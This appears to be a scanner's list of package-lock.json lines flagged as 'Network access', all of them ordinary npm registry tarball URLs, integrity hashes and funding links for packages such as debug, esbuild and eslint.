"version": "3.2.3", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - Network accessline 2295
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - Network accessline 2300
"node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 2301
"version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - Network accessline 2302
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 2318
"node_modules/deep-is": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - Network accessline 2319
"version": "0.1.4", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", - Network accessline 2320
"resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - Network accessline 2325
"node_modules/didyoumean": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", - Network accessline 2326
"version": "1.2.2", "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", - Network accessline 2327
"resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", - Network accessline 2332
"node_modules/dlv": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", - Network accessline 2333
"version": "1.1.3", "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", - Network accessline 2334
"resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", - Network accessline 2339
"node_modules/dompurify": { "version": "3.2.7", "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.7.tgz", - Network accessline 2340
"version": "3.2.7", "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.7.tgz", "integrity": "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw==", - Network accessline 2341
"resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.7.tgz", - Network accessline 2349
"node_modules/electron-to-chromium": { "version": "1.5.439", "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.439.tgz", - Network accessline 2350
"version": "1.5.439", "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.439.tgz", "integrity": "sha512-qu6QIPXhsb+CRcAiTMNjR4A1y/7tCYKkKjr5CZXRVih6qkDf79peZ2BpEU3qoDBNCRrcy3Mra3X9nG5oruuA7Q= - Network accessline 2351
"resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.439.tgz", - Network accessline 2356
"node_modules/esbuild": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", - Network accessline 2357
"version": "0.25.12", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", - Network accessline 2358
"resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", - Network accessline 2398
"node_modules/escalade": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - Network accessline 2399
"version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - Network accessline 2400
"resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - Network accessline 2408
"node_modules/escape-string-regexp": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - Network accessline 2409
"version": "4.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - Network accessline 2410
"resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - Network accessline 2416
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 2417
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 2418
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 2421
"node_modules/eslint": { "version": "9.39.4", "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.4.tgz", - Network accessline 2422
"version": "9.39.4", "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.4.tgz", "integrity": "sha512-XoMjdBOwe/esVgEvLmNsD3IRHkm7fbKIUGvrleloJXUZgDHig2IPWNniv+GwjyJXzuNqVjlr5+4yVUZjycJwfQ==", - Network accessline 2423
"resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.4.tgz", - Network accessline 2468
}, "funding": { "url": "https://eslint.org/donate" - Network accessline 2469
"funding": { "url": "https://eslint.org/donate" }, - Network accessline 2470
"url": "https://eslint.org/donate" - Network accessline 2481
"node_modules/eslint-plugin-react-hooks": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz", - Network accessline 2482
"version": "5.2.0", "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz", "integrity": "sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbI - Network accessline 2483
"resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz", - Network accessline 2494
"node_modules/eslint-plugin-react-refresh": { "version": "0.4.26", "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz", - Network accessline 2495
"version": "0.4.26", "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz", "integrity": "sha512-1RETEylht2O6FM/MvgnyvT+8K21wLqDNg4qD51Zj3guhjt433XbnnkVttHMyaVyAFD03QSV4LPS - Network accessline 2496
"resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz", - Network accessline 2504
"node_modules/eslint-scope": { "version": "8.4.0", "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", - Network accessline 2505
"version": "8.4.0", "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", - Network accessline 2506
"resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", - Network accessline 2516
}, "funding": { "url": "https://opencollective.com/eslint" - Network accessline 2517
"funding": { "url": "https://opencollective.com/eslint" } - Network accessline 2518
"url": "https://opencollective.com/eslint" - Network accessline 2521
"node_modules/eslint-visitor-keys": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - Network accessline 2522
"version": "4.2.1", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - Network accessline 2523
"resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - Network accessline 2529
}, "funding": { "url": "https://opencollective.com/eslint" - Network accessline 2530
"funding": { "url": "https://opencollective.com/eslint" } - Network accessline 2531
"url": "https://opencollective.com/eslint" - Network accessline 2534
"node_modules/espree": { "version": "10.4.0", "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - Network accessline 2535
"version": "10.4.0", "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", - Network accessline 2536
"resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - Network accessline 2547
}, "funding": { "url": "https://opencollective.com/eslint" - Network accessline 2548
"funding": { "url": "https://opencollective.com/eslint" } - Network accessline 2549
"url": "https://opencollective.com/eslint" - Network accessline 2552
"node_modules/esquery": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", - Network accessline 2553
"version": "1.7.0", "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", - Network accessline 2554
"resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", - Network accessline 2565
"node_modules/esrecurse": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - Network accessline 2566
"version": "4.3.0", "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - Network accessline 2567
"resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - Network accessline 2578
"node_modules/estraverse": { "version": "5.3.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - Network accessline 2579
"version": "5.3.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - Network accessline 2580
"resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - Network accessline 2588
"node_modules/esutils": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - Network accessline 2589
"version": "2.0.3", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - Network accessline 2590
"resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - Network accessline 2598
"node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - Network accessline 2599
"version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - Network accessline 2600
"resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - Network accessline 2605
"node_modules/fast-glob": { "version": "3.3.3", "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", - Network accessline 2606
"version": "3.3.3", "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", - Network accessline 2607
"resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", - Network accessline 2622
"node_modules/fast-glob/node_modules/glob-parent": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - Network accessline 2623
"version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - Network accessline 2624
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - Network accessline 2635
"node_modules/fast-json-stable-stringify": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - Network accessline 2636
"version": "2.1.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjC - Network accessline 2637
"resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - Network accessline 2642
"node_modules/fast-levenshtein": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - Network accessline 2643
"version": "2.0.6", "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", - Network accessline 2644
"resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - Network accessline 2649
"node_modules/fastq": { "version": "1.20.1", "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", - Network accessline 2650
"version": "1.20.1", "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", - Network accessline 2651
"resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", - Network accessline 2659
"node_modules/file-entry-cache": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", - Network accessline 2660
"version": "8.0.0", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", - Network accessline 2661
"resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", - Network accessline 2672
"node_modules/fill-range": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - Network accessline 2673
"version": "7.1.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", - Network accessline 2674
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - Network accessline 2685
"node_modules/find-up": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - Network accessline 2686
"version": "5.0.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", - Network accessline 2687
"resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - Network accessline 2697
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 2698
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 2699
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 2702
"node_modules/flat-cache": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", - Network accessline 2703
"version": "4.0.1", "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", - Network accessline 2704
"resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", - Network accessline 2716
"node_modules/flatted": { "version": "3.4.2", "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", - Network accessline 2717
"version": "3.4.2", "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", - Network accessline 2718
"resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", - Network accessline 2723
"node_modules/fraction.js": { "version": "5.3.4", "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", - Network accessline 2724
"version": "5.3.4", "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", - Network accessline 2725
"resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", - Network accessline 2732
"funding": { "type": "github", "url": "https://github.com/sponsors/rawify" - Network accessline 2733
"type": "github", "url": "https://github.com/sponsors/rawify" } - Network accessline 2734
"url": "https://github.com/sponsors/rawify" - Network accessline 2737
"node_modules/fsevents": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - Network accessline 2738
"version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - Network accessline 2739
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - Network accessline 2752
"node_modules/function-bind": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - Network accessline 2753
"version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - Network accessline 2754
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - Network accessline 2757
"license": "MIT", "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 2758
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 2759
"url": "https://github.com/sponsors/ljharb" - Network accessline 2762
"node_modules/gensync": { "version": "1.0.0-beta.2", "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - Network accessline 2763
"version": "1.0.0-beta.2", "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", - Network accessline 2764
"resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - Network accessline 2772
"node_modules/glob-parent": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", - Network accessline 2773
"version": "6.0.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", - Network accessline 2774
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", - Network accessline 2785
"node_modules/globals": { "version": "15.15.0", "resolved": "https://registry.npmjs.org/globals/-/globals-15.15.0.tgz", - Network accessline 2786
"version": "15.15.0", "resolved": "https://registry.npmjs.org/globals/-/globals-15.15.0.tgz", "integrity": "sha512-7ACyT3wmyp3I61S4fG682L0VA2RGD9otkqGJIwNUMF1SWUombIIk+af1unuDYgMm082aHYwD+mzJvv9Iu8dsgg==", - Network accessline 2787
"resolved": "https://registry.npmjs.org/globals/-/globals-15.15.0.tgz", - Network accessline 2793
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 2794
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 2795
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 2798
"node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - Network accessline 2799
"version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - Network accessline 2800
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - Network accessline 2808
"node_modules/hasown": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", - Network accessline 2809
"version": "2.0.2", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", - Network accessline 2810
"resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", - Network accessline 2821
"node_modules/ignore": { "version": "5.3.2", "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - Network accessline 2822
"version": "5.3.2", "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", - Network accessline 2823
"resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - Network accessline 2831
"node_modules/import-fresh": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", - Network accessline 2832
"version": "3.3.1", "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", - Network accessline 2833
"resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", - Network accessline 2843
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 2844
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 2845
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 2848
"node_modules/imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - Network accessline 2849
"version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - Network accessline 2850
"resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - Network accessline 2858
"node_modules/is-binary-path": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - Network accessline 2859
"version": "2.1.0", "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - Network accessline 2860
"resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - Network accessline 2871
"node_modules/is-core-module": { "version": "2.16.1", "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", - Network accessline 2872
"version": "2.16.1", "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", - Network accessline 2873
"resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", - Network accessline 2882
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 2883
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 2884
"url": "https://github.com/sponsors/ljharb" - Network accessline 2887
"node_modules/is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - Network accessline 2888
"version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - Network accessline 2889
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - Network accessline 2897
"node_modules/is-glob": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - Network accessline 2898
"version": "4.0.3", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - Network accessline 2899
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - Network accessline 2910
"node_modules/is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - Network accessline 2911
"version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - Network accessline 2912
"resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - Network accessline 2920
"node_modules/isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - Network accessline 2921
"version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - Network accessline 2922
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - Network accessline 2927
"node_modules/jiti": { "version": "1.21.7", "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", - Network accessline 2928
"version": "1.21.7", "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", - Network accessline 2929
"resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", - Network accessline 2937
"node_modules/js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - Network accessline 2938
